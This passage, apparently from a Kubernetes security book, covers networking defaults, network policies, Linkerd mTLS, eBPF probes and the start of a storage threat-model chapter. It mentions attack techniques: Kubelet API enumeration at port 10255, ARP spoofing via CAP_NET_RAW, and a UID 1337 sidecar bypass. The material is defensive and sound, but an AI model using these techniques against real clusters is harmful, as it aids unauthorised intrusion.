- Inter-pod traffic: pods in the same cluster communicating (see “Inter-Pod Traffic”
)

- Pod-to-worker node traffic (see “Pod-to-Worker Node Traffic”
)

- Cluster-external traffic: communication of pods with the outside world (see “Cluster-External Traffic”
)

Figure 5-2.
Kubernetes networking overview

Let’s now have a closer look at the communication paths and other networking-relevant defaults in Kubernetes. Among other things, we’ll discuss “The State of the ARP”
, “No securityContext”
, “No Workload Identity”
, and “No Encryption on the Wire”
.

Note

There are some aspects of the networking space that depend heavily on the environment in which Kubernetes is used. For example, when using hosted Kubernetes from one of the cloud providers, the control plane and/or data plane may
or may not be publicly available. If you are interested in learning more how the big three handle this, have a look at:

- Amazon EKS private clusters

- Azure AKS private clusters

- Google GKE private clusters

Since this is not an intrinsic property of Kubernetes and many combinations are possible, we decided to exclude this topic from our discussion in this chapter.

So, are you ready to learn about the Kubernetes networking defaults?

Intra-Pod Networking

The way intra-pod networking

in Kubernetes works is as follows. An implicit so-called pause
container in

a pod (cp
in Figure 5-3
) spans a Linux network namespace
.

Figure 5-3.
Internals of a Kubernetes pod

Other containers in the pod, such as init containers (like ci1
and ci2
), and the main application container and sidecars, such as proxies or logging containers (for example, c1
to c3
), then join the pause container’s network and IPC namespace.

The pause container has the network bridge mode

enabled and all the other containers in the pod are sharing their namespace via container mode.

As discussed in Chapter 2
, pods were designed to make it easy to lift and shift existing applications into Kubernetes, which has sobering security implications. Ideally, you rewrite the application so that the tight coupling of containers in a pod are not necessary or deploy traditional tooling in the context of a pod.

While the latter seems like a good idea initially, do remember that this is a stopgap measure at best. Once the boundaries are clear and effectively every microservice is deployed in its own pod, you can go ahead and use the techniques discussed in the next sections.

In addition, no matter if you’re looking at
defense in depth in the context of a pod or cluster-wide, you can employ a range of dedicated container security open source and commercial offerings. See also respective section “Networking”
in Appendix B
.

Inter-Pod Traffic

In a Kubernetes cluster, by

default every pod can see and talk to every other pod. This default is a nightmare from a security perspective (or a free ride, depending on which side you’re on) and we can not emphasize enough how dangerous this fact is.

No matter what your
threat model is, this “all traffic is allowed” policy for both inter-pod and external traffic represents one giant attack vector. In other words, you should never rely on the Kubernetes defaults in the networking space. You should never, ever run a Kubernetes cluster without restricting network traffic in some form or shape. For a practical example on how you can go about this, have a look at “Traffic Flow Control”
.

Pod-to-Worker Node Traffic

If not disabled, workloads

can query the worker node (host) they are running on as well as the (cloud) environments they are deployed into.

No default protection exists for worker nodes, routable from the CNI. Further, the worker nodes may be able to access cloud resources, datastores, and API servers. Some cloud providers, notably Google, offer some solutions for this issue; see, for example, shielded GKE Nodes
.

For cloud environments
in general, good practices exist. For example, Amazon EKS recommends to restrict access to instance metadata
and equally GKE documents how to protect cluster metadata
.

Further, commercial offerings like Nirmata’s Virtual Clusters and Workload Policies
can be used in this context.

Cluster-External Traffic

To allow pods to communicate with

cluster-external endpoints, Kubernetes has added a number of mechanisms over time. The most recent and widely used is called an Ingress
. This allows for layer 7
routing (HTTP), whereas for other use cases such as layer 3/4 routing you would need to use older, less convenient methods. See also Publishing Services (ServiceTypes)
in the docs.

In order for you to use the Ingress resource, you will need to pick an
ingress controller. You have many many choices, oftentimes open source-based, which include:

- Emissary-ingress

- Contour

- HAProxy Ingress

- NGINX Ingress Controller

- Traefik

In addition, cloud providers usually provide their own solutions, integrated with their managed load-balancing services.

Encryption on the wire (TLS) is almost the default nowadays, and most Ingress solutions support it out of the box. Alternatively, you can use a service mesh for securing your North-South traffic (see “Service Meshes”
).

Last but not least, on the application level you might want to consider using a web application firewall (WAF) such as offered by most cloud providers, or you can use standalone offering such as Wallarm
.

More and more practitioners are sharing their experiences in this space, so keep an eye out for blog posts and CNCF webinars covering

this topic. See, for example, “Shaping Chick-fil-A One Traffic in a Multi-Region Active-Active Architecture”
.

The State of the ARP

Address Resolution Protocol
(ARP) is a link layer protocol used

by the Internet Protocol (IP) to map IP network addresses to the hardware (MAC) addresses. Liz Rice showed in her KubeCon NA 2019 talk, “CAP_NET_RAW and ARP Spoofing in Your Cluster: It’s Going Downhill From Here”
, how defaults allow us to open raw network sockets and how this can lead to issues.

It involves using ARP and DNS to fool a victim pod to visit a fake URL, which is possible due to the way Kubernetes handles local FQDNs
, and it requires that CAP_NET_RAW
is available to a pod.

For more details, see the Aqua Security blog post “DNS Spoofing on Kubernetes Clusters”
.

The good news is, there are defenses available to mitigate the ARP-based attacks and spoil the Captain’s mood:

- Using Pod Security Policies (PSP)

as discussed in “Runtime Policies”
, to drop CAP_NET_RAW
.

- Using generic policy engines as described in “Generic Policy Engines”
such as Open Policy Agent/Gatekeeper
, or by using Kyverno to convert PSPs
(also see this video
).

- Using, for example, Calico
or Cilium
on layer 3.

How can you tell if you’re affected? Use kube-hunter
, for example.

No securityContext

By default, workloads
can escalate to the NIC of the worker node they are running on. For example, when running privileged containers, one can escape from the container using kernel modules
. Further, as the Microsoft Azure team pointed out in its “Threat matrix for Kubernetes” blog post
:

Attackers with network access to the host (for example, via running code on a compromised container) can send API requests to the Kubelet API. Specifically querying https://[NODE IP]:10255/pods/
retrieves the running pods on the node. https://[NODE IP]:10255/spec/
retrieves information about the node itself, such as CPU and memory consumption.

Naturally, one wants to avoid these scenarios and one way to go about this is to apply PSPs,
as discussed in “Runtime Policies”
.

For example, the Baseline/default policy
has the following defined:

Sharing the host namespaces must be disallowed

- spec.hostNetwork

- spec.hostPID

- spec.hostIPC

Privileged pods disable most security mechanisms and must be disallowed

- spec.containers[*].securityContext.privileged

- spec.initContainers[*].securityContext.privileged

HostPorts
should be disallowed or at minimum restricted to a known list

- spec.containers[*].ports[*].hostPort

- spec.initContainers[*].ports[*].hostPort

In addition, there are a number of commercial offerings, such as Palo Alto Networks Prisma Cloud
(formerly Twistlock), that you can use to harden
your worker nodes in this context.

No Workload Identity

By default, Kubernetes does not assign
an identity to services. SPIFFE/SPIRE can be used to manage workload identities and enable mTLS. SPIFFE
(Secure Production Identity Framework for Everyone)

is a collection of specifications for securely identifying workloads. It provides a framework
enabling you to dynamically issue an identity to a service across environments by defining short-lived cryptographic identity documents—called

SPIFFE Verifiable Identity Documents (SVIDs)—via
an API. Your workloads in turn can use these SVIDs when authenticating to other workloads. For example, an SVID can be used to establish an TLS connection or to verify a JWT token.

No Encryption on the Wire

For workloads in regulated industries, that is, any kind of app that is required to conform
to a (government issued) regulation,
encryption on the wire—or encryption in transit,
as it’s sometimes called—is typically one of the requirements. For example, if you have a Payment Card Industry Data Security Standard
(PCI DSS)–compliant app as a bank, or a Health Insurance Portability and Accountability Act
(HIPAA)–compliant
app as a health care provider, you will want to make sure that the communication
between your containerized microservices

is protected against sniffing and person-in-the-middle attacks.

These days, the

Transport Layer Security (TLS) protocol as defined in RFC 8446
and older IETF paperwork is usually used to encrypt traffic on the wire. It uses asymmetric
encryption to agree on a shared secret negotiated at the beginning of the session (“handshake”) and in turn symmetric encryption to encrypt the workload data. This setup is a nice performance versus security trade-off.

While control plane components such as the API server, etcd
, or a kubelet
can rely on an PKI infra out-of-the-box, providing APIs and good practices for certificates
, the same is sadly not true for your workloads.

Tip

You can see the API server’s hostname, and any IPs encoded into its TLS certificate, with openssl
. You can find example code for this in “Control Plane”
.

By default, the traffic between pods and to the outside world is not encrypted. To mitigate, enable

workload encryption on the wire, for example with Calico
, with Wireguard
VPN, or with Cilium, which supports both Wireguard and IPsec
. Another option to provide not only this sort of encryption but also workload identity, as discussed in “No Workload Identity”
, are
service meshes. With the defaults out of the way, let’s move on to the threat modeling for the networking space.

Threat Model

The threat model

in the networking space (see “Starting to Threat Model”
); that is, the collection of identified networking vulnerabilities according to the risk they pose—is what we’re focusing on in this section.

So, what is the threat model we consider in the networking space, with respect to workloads? What are our assumptions about what attackers could do to our precious workloads and beyond to the infrastructure?

The following observations should give you an idea about potential threat models. We illustrate these scenarios with some examples of past attacks, covering the 2018–2020 time frame:

- Using the front door, for example via an ingress controller or a load balancer, and then either pivoting or performing a denial-of-service attack, such as observed in CVE-2020-15127

- Using developer access paths like kubectl cp
(CVE-2019-11249
) or developer environments such as Minikube, witnessed in CVE-2018-1002103

- Launching a pod with access to host networking or unnecessary capabilities, as we will further discuss in “The State of the ARP”

- Leveraging a compromised workload to connect to another workload

- Port scanning of all CNI plug-ins and further use this information to identify vulnerabilities; for example, CVE-2019-9946

- Attacking a control plane component such as the API server and etcd
or a kubelet
or kube-proxy
on the worker; for example, CVE-2020-8558
, CVE-2019-11248
, CVE-2019-11247
, and CVE-2018-1002105

- Performing server-side request forgery (SSRF); for example, concerning the hosting environment, like a cloud provider’s VMs

- Performing person-in-the-middle attacks, such as seen in the context of IPv6 routing
; see also CVE-2020-10749

Now that we have a basic idea of the potential threat model, let’s go through and see how the defaults can be exploited and defended against, in turn.

Traffic Flow Control

We’ve seen the networking defaults and what kind of communication paths are present in Kubernetes. In this section, we walk you through an end-to-end setup and show you how to secure the

external traffic using network policies.

The Setup

To demonstrate the networking defaults in action, let’s use kind
, a tool

for running local Kubernetes clusters using Docker containers.

Let’s create a kind
cluster with networking prepared for Calico and enable Ingress (also see the documentation
). We are using the following config:

kind

:

Cluster

apiVersion

:

kind.x-k8s.io/v1alpha4

nodes

:

-

role

:

control-plane

kubeadmConfigPatches

:

-

|

kind: InitConfiguration

nodeRegistration:

kubeletExtraArgs:

node-labels: "ingress-ready=true"

extraPortMappings

:

-

containerPort

:

80

hostPort

:

80

protocol

:

TCP

-

containerPort

:

443

hostPort

:

443

protocol

:

TCP

-

role

:

worker

networking

:

disableDefaultCNI

:

true

podSubnet

:

192.168.0.0/16

Enable Ingress for cluster.

Disable the native kindnet
.

In preparation to install Calico, set to its default subnet.

Assuming the preceding YAML snippet is stored in a file called cluster-config.yaml
, you can now create the kind
cluster as follows:

$

kind create cluster --name cnnp \

--config cluster-config.yaml

Creating cluster "cnnp"

...

Note that if you do this the first time, the preceding output might look different and it can take several minutes to pull the respective container images.

Next we install and
patch Calico to make it work with kind
. Kudos to Alex Brand for putting together the necessary patch instructions
:

$

kubectl apply -f https://docs.projectcalico.org/manifests/calico.yaml
configmap/calico-config created
customresourcedefinition.apiextensions.k8s.io/bgpconfigurations.crd.projectcalico.org created
...
serviceaccount/calico-kube-controllers created

$

kubectl -n kube-system set

env daemonset/calico-node FELIX_IGNORELOOSERPF

=

true

daemonset.apps/calico-node env updated

And to verify if everything is up and running as expected:

$

kubectl -n kube-system get pods |

grep calico-node
calico-node-2j2wd 0/1 Running 0

18s
calico-node-4hx46 0/1 Running 0

18s
calico-node-qnvs6 0/1 Running 0

18s

Before we can deploy our app, we need one last bit of infrastructure in place, a
load balancer, making the pods available to the outside world (your machine).

For this we use Ambassador
as an

ingress controller:

$

kubectl apply -f https://github.com/datawire/ambassador-operator/releases/latest
/download/ambassador-operator-crds.yaml &&

\

kubectl apply -n ambassador -f https://github.com/datawire/ambassador-operator/releases
/latest/download/ambassador-operator-kind.yaml &&

\

kubectl wait

--timeout=

180s \

-n ambassador --
for

=

condition

=

deployed \

ambassadorinstallations/ambassador
customresourcedefinition.apiextensions.k8s.io/ambassadorinstallations.getambassador.io created
namespace/ambassador created
configmap/static-helm-values created
serviceaccount/ambassador-operator created
clusterrole.rbac.authorization.k8s.io/ambassador-operator-cluster created
clusterrolebinding.rbac.authorization.k8s.io/ambassador-operator-cluster created
role.rbac.authorization.k8s.io/ambassador-operator created
rolebinding.rbac.authorization.k8s.io/ambassador-operator created
deployment.apps/ambassador-operator created
ambassadorinstallation.getambassador.io/ambassador created
ambassadorinstallation.getambassador.io/ambassador condition met

Now we can launch the application, a

web server. First off, we want to do all of the following in a dedicated namespace called npdemo
, so let’s create one:

$

kubectl create ns npdemo
namespace/npdemo created

Next, create a YAML file called workload.yaml
that defines a deployment, a service, and an ingress resource, in total representing our

workload application:

kind

:

Deployment

apiVersion

:

apps/v1

metadata

:

labels

:

app

:

nginx

name

:

nginx

spec

:

replicas

:

1

selector

:

matchLabels

:

app

:

nginx

template

:

metadata

:

labels

:

app

:

nginx

spec

:

containers

:

-

image

:

nginx:alpine

name

:

main

ports

:

-

containerPort

:

80

---

kind

:

Service

apiVersion

:

v1

metadata

:

name

:

nginx

spec

:

selector

:

app

:

nginx

ports

:

-

port

:

80

---

kind

:

Ingress

apiVersion

:

extensions/v1beta1

metadata

:

name

:

mainig

annotations

:

kubernetes.io/ingress.class

:

ambassador

spec

:

rules

:

-

http

:

paths

:

-

path

:

/api

backend

:

serviceName

:

nginx

servicePort

:

80

We configure the ingress in a way that if we hit the /api
URL path we expect it to route traffic to our nginx
service.

Next, you want to create the

resources defined in workload.yaml
by using:

$

kubectl -n npdemo apply -f workload.yaml
deployment.apps/nginx created
service/nginx created
ingress.extensions/mainig created

When you now try to access the app as exposed in the Ingress resource you should be able to do the following (note that we’re only counting the lines returned to verify we get something back):

$

curl -s 127.0.0.1/api |

wc -l

25

Wait. What just happened? We put an

Ingress in front of the NGINX service and it happily receives traffic from outside? That can’t be good.

Network Policies to the Rescue!

So, how can we keep the Captain and their

crew from getting their dirty paws on our cluster? Network policies
are coming to our rescue. While we will cover policies in a dedicated chapter (see Chapter 8
), we point out network policies and their usage here since they are so useful and, given the “by default all traffic is allowed” attitude of Kubernetes, one can argue almost necessary.

While Kubernetes allows you to define and apply network policies out-of-the-box, you need something that enforces
the policies you define and that’s the job of a provider
.

For example, in the following walkthrough, we will be using Calico
, however there are many more options available, such as the eBPF-based solutions
discussed in “eBPF”
.

We shut down all traffic with the following Kubernetes network policy in a file called, fittingly, np-deny-all.yaml
:

kind

:

NetworkPolicy

apiVersion

:

networking.k8s.io/v1

metadata

:

name

:

deny-all

spec

:

podSelector

:

{

}

policyTypes

:

-

Ingress

Selects the pods in the same namespace, in our case all.

Disallow any Ingress traffic.

Tip

Network policies are notoriously difficult to get right, so in this context, you may want to check out the following:

- To help you edit and visualize network pollicies, check out the tool available from networkpolicy.io
.

- To debug network policy you can use krew-net-forward
.

- To test policies, have a look at netassert
.

So let’s apply the preceding network policy and see if we can still access the app from outside of the cluster:

$

kubectl -n npdemo apply -f np-deny-all.yaml
networkpolicy.networking.k8s.io/deny-all created

$

kubectl -n npdemo describe netpol deny-all
Name: deny-all
Namespace: npdemo
Created on: 2020-09-22 10:39:27 +0100 IST
Labels: <none>
Annotations: <none>
Spec:
PodSelector: <none> (

Allowing the specific traffic to all pods in this namespace)

Allowing ingress traffic:
<none> (

Selected pods are isolated for

ingress connectivity)

Not affecting egress traffic
Policy Types: Ingress

And this should fail now, based on our network policy (giving it a 3-second time out, just to be sure):

$

curl --max-time 3

127.0.0.1/api
curl: (

28)

Operation timed out after 3005

milliseconds with 0

bytes received

Tip

If you only have kubectl
available, you can still make raw network requests, as Rory McCune
pointed out:

kubectl --insecure-skip-tls-verify -s bbc.co.uk get --raw /

Of course, it shouldn’t be in your container image in the first place!

We hope by now you get an idea how dangerous the defaults are—all network traffic to and from pods is allowed—and how you can defend against it.

Learn more about network policies, including recipes, tips, and tricks, via the resources we put together in Appendix B
.

Tip

In addition to network policies, some cloud providers offer other native mechanisms to restrict traffic from/to pods; for example,

see AWS security groups for pods
.

Finally, don’t forget to clean up your Kubernetes
cluster using kind delete cluster --name cnnp
, once you’re done exploring the topic of network policies.

Now that we’ve seen a concrete networking setup in action, let’s move on to a different topic: service meshes. This relatively recent technology can help you in addressing some of the not-so-secure defaults discussed earlier, including workload identity and encryption

on the wire.

Service Meshes

A somewhat advanced topic, a service

mesh is in a sense complementary to Kubernetes and can be beneficial in a number of use cases
. Let’s have a look at how the most important workload-level networking issues can be addressed using a service mesh.

Concept

A service mesh

as conceptually shown in Figure 5-4
is, as per its creators
, a collection of userspace proxies in front of your apps along with a management process to configure said proxies.

Figure 5-4.
Service mesh concept

The proxies are
referred to as the service mesh’s data plane
, and the management process as its control plane
. The proxies intercept calls between services and do something interesting with or to these calls, such as disallowing a certain communication path or collecting metrics from the call. The control plane, on the other hand, coordinates the behavior of the proxies and provides the administrator an API.

Options and Uptake

At the time of

writing, a number of service meshes
exist as well as proposed quasi-standards for interoperability, such as the CNCF project Service Mesh Interface
or work of the Envoy-based Universal Data Plane API Working Group
(UDPA-WG).

While it is early days, we witness certain uptake, especially out of security considerations (see Figure 5-5
). For example, The New Stack (TNS) reports in its 2020 Service Mesh survey
:

A third of respondents’ organizations are using service meshes to control communications traffic between microservices in production Kubernetes environments. Another 34% use service mesh technology in a test environment, or are piloting or actively evaluating solutions.

Figure 5-5.
TNS 2020 service mesh survey excerpt

Going forward, many exciting application areas and nifty defense mechanisms based on service meshes are possible—for example, Identity Federation for Multi-Cluster Kubernetes and Service Mesh
or using OPA in Istio
. That said, many end users are not yet ready to go all in and/or are in a holding pattern, waiting for cloud and platform providers to make the data plane of the service mesh part of the underlying infrastructure. Alternatively, the data plane may be implemented on the operating system level, for example, using eBPF
.

Case Study: mTLS with Linkerd

Linkerd

is a graduated CNCF project, originally created by Buoyant.

Linkerd automatically enables
mutual Transport Layer Security (mTLS)

for most HTTP-based communication between meshed pods. Let’s see that in action.

To follow along, install Linkerd
in a test cluster. We’re using kind
in the following example and assume you have both the Kubernetes cluster set up and configured as well as the Linkerd CLI:

$

linkerd check --pre
kubernetes-api
...
Status check results are √

Now that we know that we’re in a position to install Linkerd, let’s go ahead and do it:

$

linkerd install |

kubectl apply -f -
namespace/linkerd created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-identity created
...
deployment.apps/linkerd-grafana created

And finally verify the install:

$

linkerd check
kubernetes-api
...
Status check results are √

Great! All up and running. You could have a quick look at the Linkerd dashboard using linkerd dashboard &
, which should show something similar to what’s depicted in Figure 5-6
.

OK, back
to mTLS: once we have enabled the mesh in the respective namespaces it should be impossible for us, even from within the cluster, to directly talk to a service using, say curl
, and doing an HTTP query. Let’s see how that works.

In the following example, we’re reusing the setup from “Inter-Pod Traffic”
but you can really use any workload that exposes an HTTP service within the cluster.

Figure 5-6.
Linkerd dashboard showing example traffic stats

First, we need to enable
the mesh, or meshify, as the good folks from Buoyant call it:

$

kubectl get -n npdemo deploy -o yaml |

\

linkerd inject - |

kubectl apply -f -

$

kubectl get -n ambassador deploy -o yaml |

\

linkerd inject - |

kubectl apply -f -

Now we can validate
our mTLS setup

using tshark
as follows:

$

curl -sL https://run.linkerd.io/emojivoto.yml |

linkerd inject --enable-debug-sidecar - |

kubectl apply -f -
namespace "emojivoto"

injected
...
deployment.apps/web created

Once the sample app is up and running we can use an

remote shell into the attached debug container that Linkerd kindly put there for us:

$

kubectl

-n

emojivoto

exec

-it

\

$(

kubectl

-n

emojivoto

get

po

-o

name

|

grep

voting

)

\

-c

linkerd-debug

--

/bin/bash

Connect to pod for interactive (terminal) use.

Provide pod name for the exec
command.

Target the linkerd-debug
container in the pod.

Now, from within the debug container we use tshark
to inspect

the packets on the NIC and expect to see TLS traffic (output edited to fit):

root@voting-57bc56-s4l:/#

tshark

-i

any

\

-d

tcp.port

=

=

8080,ssl

|

grep

-v

127.0.0.1

Running

as

user

"root"

and

group

"root."

This

could

be

dangerous.

Capturing

on

'any'

1

0.000000000

192.168.49.192

→

192.168.49.231

TCP

76

41704

→

4191

[

SYN

]

Seq

=

0...

2

0.000023419

192.168.49.231

→

192.168.49.192

TCP

76

4191

→

41704

[

SYN,

ACK

]

...

3

0.000041904

192.168.49.192

→

192.168.49.231

TCP

68

41704

→

4191

[

ACK

]

Seq

=

1...

4

0.000356637

192.168.49.192

→

192.168.49.231

HTTP

189

GET

/ready

HTTP/1.1

5

0.000397207

192.168.49.231

→

192.168.49.192

TCP

68

4191

→

41704

[

ACK

]

Seq

=

1...

6

0.000483689

192.168.49.231

→

192.168.49.192

HTTP

149

HTTP/1.1

200

OK

...

Listen on all available network interfaces for live packet capture.

Decode any traffic running over port 8080
as TLS.

Ignoring 127.0.0.1
(localhost) as this traffic will always be unencrypted.

Yay, it works,
encryption on the wire for free! And with this we’ve completed the mTLS case study.

If you want to learn more about how to use service meshes to secure your East-West communication, we have put together some suggested further reading in “Networking”
in Appendix B
.

While service meshes certainly can help you with networking-related security challenges, fending off the Captain and their crew, you should be aware of weaknesses. For example, from Envoy-based systems, if you run a container with UID 1337, it bypasses the Istio/Envoy sidecar or, by default, the Envoy admin dashboard is accessible from within the container because it shares a network. For more background on this topic, check out the in-depth Istio Security Assessment
.

Now it’s time to move on to the last part of the workload networking topic: what happens on a single worker
node.

eBPF

After the service mesh
adventure, we focus our attention now on a topic that is on the one hand entirely of opposite character and on the other hand can also be viewed and understood to be used in the service mesh data plane. We have a look at eBPF, a modern and powerful way to extend the Linux kernel, and with it you can address a number of networking-related security challenges.

Concept

Originally, this piece of Linux kernel technology was known under the name Berkeley Packet Filter (BPF). Then it experienced a number of enhancements, mainly dirven by Google, Facebook, and Netflix, and to distinguish it from the original implementation it was called eBPF
. Nowadays, the kernel project and technology is commonly known as eBPF, which is a term in itself and does not stand for anything per se; that is, it’s not considered an acronym any longer.

Technically, eBPF is a feature of the Linux kernel and you’ll need the

Linux kernel version 3.18 or above to benefit from it. It enables you to safely and efficiently extend the Linux kernel functions by using the bpf(2)
syscall (see also the man pages
for details). eBPF is implemented as an in-kernel virtual machine using a custom 64-bit RISC instruction set.

In Figure 5-7
you see a high-level overview taken from Brendan Gregg’s
Linux Extended BPF (eBPF) Tracing Tools
(Addison-Wesley)
.

Figure 5-7.
eBPF overview in the Linux kernel

This all looks promising, but is eBPF already used in the wild, and also, which options are available? Let’s take a look.

Options and Uptake

In 2021, eBPF is already used
in a number of places and for use cases such as:

- In Kubernetes, as a CNI plug-in to enable, for example, pod networking in Cilium
and Project Calico, as well as for service scalability (in the context of kube-proxy
)

- For observability, like for Linux kernel tracing such as with iovisor/bpftrace
as well as in a clustered setup with Hubble

- As a security control, for example to perform container runtime scanning as you can use with projects such as CNCF Falco
, but also for enforcing network policies in Kubernetes (via Cilium, Calico, etc.) as discussed in “Traffic Flow Control”

- Network load balancing like Facebook’s L4 katran
library

- Low-level intrusion detection systems (IDS) for Kubernetes (see Chapter 9
for details)

We see an increasing number of players entering the eBPF field and leading the charge is Isovalent
. While it’s still early days from an adoption perspective, eBPF has a huge potential. Coming back to the service mesh data plane: it is perfectly doable and thinkable to implement the Envoy APIs as a set of eBPF programs and push the handling from user space sidecar proxy into the kernel.

Extending the kernel with userspace programs sounds interesting, but how does that look, in practice?

Case Study: Attaching a Probe to a Go Program

Let’s have a look at an example from the Cilium
project. The following is a Go
program available in main.go
and demonstrates how you can attach an eBPF program (written in C) to a kernel symbol. The overall result of the exercise is that whenever the sys_execve
syscall is invoked, a kernel counter is increased, which the Go program then reads and prints out the number of times the probed symbol has been called per second.

The following line in main.go
(edited to fit the page; should all be on the same line) instructs the Go toolchain to include the compiled C program that contains our eBPF code:

//go:generate go run github.com/cilium/ebpf/cmd/bpf2go

-

cc

clang

-

11

KProbeExample

.

/

bpf

/

kprobe_example

.

c

--

-

I

..

/

headers

In kprobe_example.c
we find the eBPF program itself:

#

include "common.h"

#

include "bpf_helpers.h"

char

__license

[

]

SEC

(

"

license

"

)

=

"

Dual MIT/GPL

"

;

struct

bpf_map_def

SEC

(

"

maps

"

)

kprobe_map

=

{

.

type

=

BPF_MAP_TYPE_ARRAY

,

.

key_size

=

sizeof

(

u32

)

,

.

value_size

=

sizeof

(

u64

)

,

.

max_entries

=

1

,

}

;

SEC

(

"

kprobe/sys_execve

"

)

int

kprobe_execve

(

)

{

u32

key

=

0

;

u64

initval

=

1

,

*

valp

;

valp

=

bpf_map_lookup_elem

(

&

kprobe_map

,

&

key

)

;

if

(

!

valp

)

{

bpf_map_update_elem

(

&

kprobe_map

,

&

key

,

&

initval

,

BPF_ANY

)

;

return

0

;

}

__sync_fetch_and_add

(

valp

,

1

)

;

return

0

;

}

You must define a license.

Enables exchange of data between kernel and userspace.

The entry point of our eBPF probe (program).

As you can guess, writing eBPF by hand is not fun. Luckily there are a number of great tools and environments available that take care of the low-level stuff for you.

Note

Just as we were wrapping up the book writing, the Linux Foundation announced that Facebook, Google, Isovalent, Microsoft, and Netflix joined together to create the eBPF Foundation
, and with it giving the eBPF project
a vendor-neutral home. Stay tuned!

To dive deeper into the eBPF topic we suggest you read
Linux Observability with BPF

by David Calavera and Lorenzo Fontana (O’Reilly). If you’re looking for a quick overview, Matt Oswalt has a nice Introduction to eBPF
.

To stay on top of things, have a look at ebpf.io
and check out what the community publishes on the YouTube channel
for this topic.

Further, have a look at Pixie
, an open source, eBPF-based observability tool with an active community and broad industry support (see Figure 5-8
).

Figure 5-8.
Pixie in action

Conclusion

Summing up,

there are a number of defaults in the Kubernetes networking space you want to be aware of. As a baseline, you can apply the good practices you know from a noncontainerized environment in combination with intrusion detection tooling as shown in Chapter 9
. In addition, you want to use native resources such as network policies potentially in combination with other CNCF projects such as SPIFFE for workload identity to strengthen your security posture.

Service meshes, while still in the early days, are another promising option to enforce policies and gain insights into what is going on. Last but not least, eBPF is the up and coming star in the networking arena, enabling a number of security-related use cases.

Now that we have the networking secured, we are ready for the Captain to move on to more “solid” grounds: storage.

Chapter 6.
Storage

Your organization is valued by its data. That could be customer records and billing details, business secrets, or intellectual property. Customers and information collected over a company’s lifetime are valuable and the swarthy buccaneers of Captain Hashjack’s binary pirates are only paid in plunder.

Consider what identity fraudsters and nation states will pay for personal information. And if your data’s not valuable to them, you might get cryptolocked for a ransom, with the attacker likely to take the additional bonus of stealing your data while they’re in your systems.

BCTL holds personal data on customers and employees like location, medical and financial records, secret information like credit card details, and delivery addresses. Your customers entrust these details to you, and you persist them on a filesystem, database, or network storage system (NFS, object store, NAS, etc.). For containers to access this data from Kubernetes pods they must use the network or, for larger data or lower latency requirements, use disks attached to the host system.

Mounting a host filesystem into a

container breaks an isolation boundary with the host’s filesystem, and provides a potentially navigable route for an attacking pirate to consider.

When a container’s

storage is accessible across a network, the most effective attacking strategy is to steal access keys and impersonate a legitimate application. Captain Hashjack may attack the application requesting keys (a container workload), a key store (the API server’s Secrets endpoint, or etcd
), or the application’s host (the worker node). When Secrets are at rest they risk being accessed, modified, or stolen by a nefarious actor.

In this chapter we explore what a filesystem is made of, and how to protect it from rascally attackers.

Defaults

Where can an application in Kubernetes

store data? Each container in a pod has its own local filesystem, and temporary directories on it. This is perhaps /tmp
, or /dev/shm
for shared memory if the kernel supports it. The local filesystem is linked to the pod’s lifecycle, and is discarded when the pod is stopped.

Containers in a pod do not share a mount
namespace, which means they cannot see each other’s local filesystems. To share data, they can use a shared volume
, a filesystem that’s mounted at a directory in the container’s local filesystem such as /mnt/foo
. This is also bound to the pod’s lifecycle, and is a tmpfs
mount from the underlying host.

To persist data beyond a

pod’s lifespan, persistent volumes
are used (see “Volumes and Datastores”
). They are configured and provided at the cluster level, and survive pod terminations.

Access to other pods’ persistent volumes is a danger to the confidentiality of sensitive workloads.

Threat Model

The greatest concern to

storage is your data being leaked. Attackers that can access data at rest may be able to extract sensitive customer and user information, attack other systems with the new knowledge they have found, or set up a cryptolocked ransom scenario.

Tip

Configure your

API server to encrypt Secrets at rest
in etcd
, and store
Secrets in a Secrets store like KMS or Hashicorp Vault, encrypted files, or physically secured storage.

Kubernetes storage uses

volumes, which are a similar concept to Docker’s volumes. These volumes are used to persist state outside of a container, which by design can not persist files inside its own filesystem. Volumes are also used to share files between containers in a pod.

Volumes appear as a directory inside the
container, possibility including data if the storage behind the volume is already populated. How that directory is added by the container runtime is determined by the volume type. Many volume types are supported, including historically vulnerable protocols such as Network File System (NFS) and Internet Small Computer Systems Interface (iSCSI), as well as plug-ins such as gitRepo
(an empty volume that runs a custom Git checkout step before mounting into the container).

Warning

The gitRepo
volume
plug-in required the kubelet
to run git
in a shell on the host, which exposed Kubernetes to attacks on Git such as CVE-2017-1000117
. While this required an attacker to have create pod permissions, the convenience of the feature was not enough to justify the increased attack surface, and the volume type was deprecated
(there’s an easy init container workaround
).

Storage is an integration with underlying hardware, and so the threats depend upon how you have configured the storage. There are many types of storage drivers and you should choose one that makes sense for you and the team that will support it.

You should care about
your data when it is created and generated by an application, stored by persisting to storage, backed up by encrypting and moving to long-term storage media, retrieved again from storage to be shown to users, and deleted from short- and long-term storage, as shown in Figure 6-1
.

Figure 6-1.
Storage data lifecycle

The
STRIDE threat modeling framework lends itself well to this

practice. The STRIDE mnemonic stands for:

Spoofing (authenticity)

If an attacker can change data, they can implant false data and user accounts.

Tampering (integrity)

Data under an attacker’s control can be manipulated, cryptolocked, or deleted.

Repudiation (undeniable proof)

Cryptographic signing of metadata about stored files ensures changed files cannot be validated, unless the attacker controls the signing key and regenerates the signed metadata.

Information disclosure (confidentiality)

Many systems leak sensitive information in debug and log data, and container mount points leak the host’s device and disk abstractions.

Denial of service (availability)

Data can be removed, disk throughput or IOPS exhausted, and quotas or limits used up.

Elevation of privilege (authorization)

External mounts may enable container breakout.

Volumes and Datastores

In this section we review relevant storage concepts in Kubernetes.

Everything Is a Stream of Bytes

It’s often said that, in Linux, “everything is a file.” Well that’s not entirely true: everything can be treated “as a file” for reading or writing, using a file descriptor. Think of a

file descriptor like a reference to a library book, in a section, on a shelf, pointing to a specific word on a certain page.

There are seven types of file descriptors in Linux: a file, directory, character device, block device, pipe, symbolic link, and socket. That’s broadly covering files, hardware devices, virtual devices, memory, and networking.

When we have a file descriptor pointing to something useful, we can communicate using a stream of binary data flowing into it (when we’re writing to it), or out of it (when we’re reading from it).

That goes for files, display drivers, sound cards, network interfaces, everything the system is connected to and aware of. So it’s more correct to say that in Linux “everything is a stream of bytes.”

From within the humble
container we are just running a standard Linux process, so all this is also true for a container. The container is “just Linux,” so your interaction with it is via a stream of bytes too.

Note

Remember that “stateless containers” don’t

want to persist important data to their local filesystem, but they still need inputs and outputs to be useful. State must exist; it’s safer to store it in a database or external system to achieve cloud native benefits like elastic scaling and resilience to failure.

All processes in a

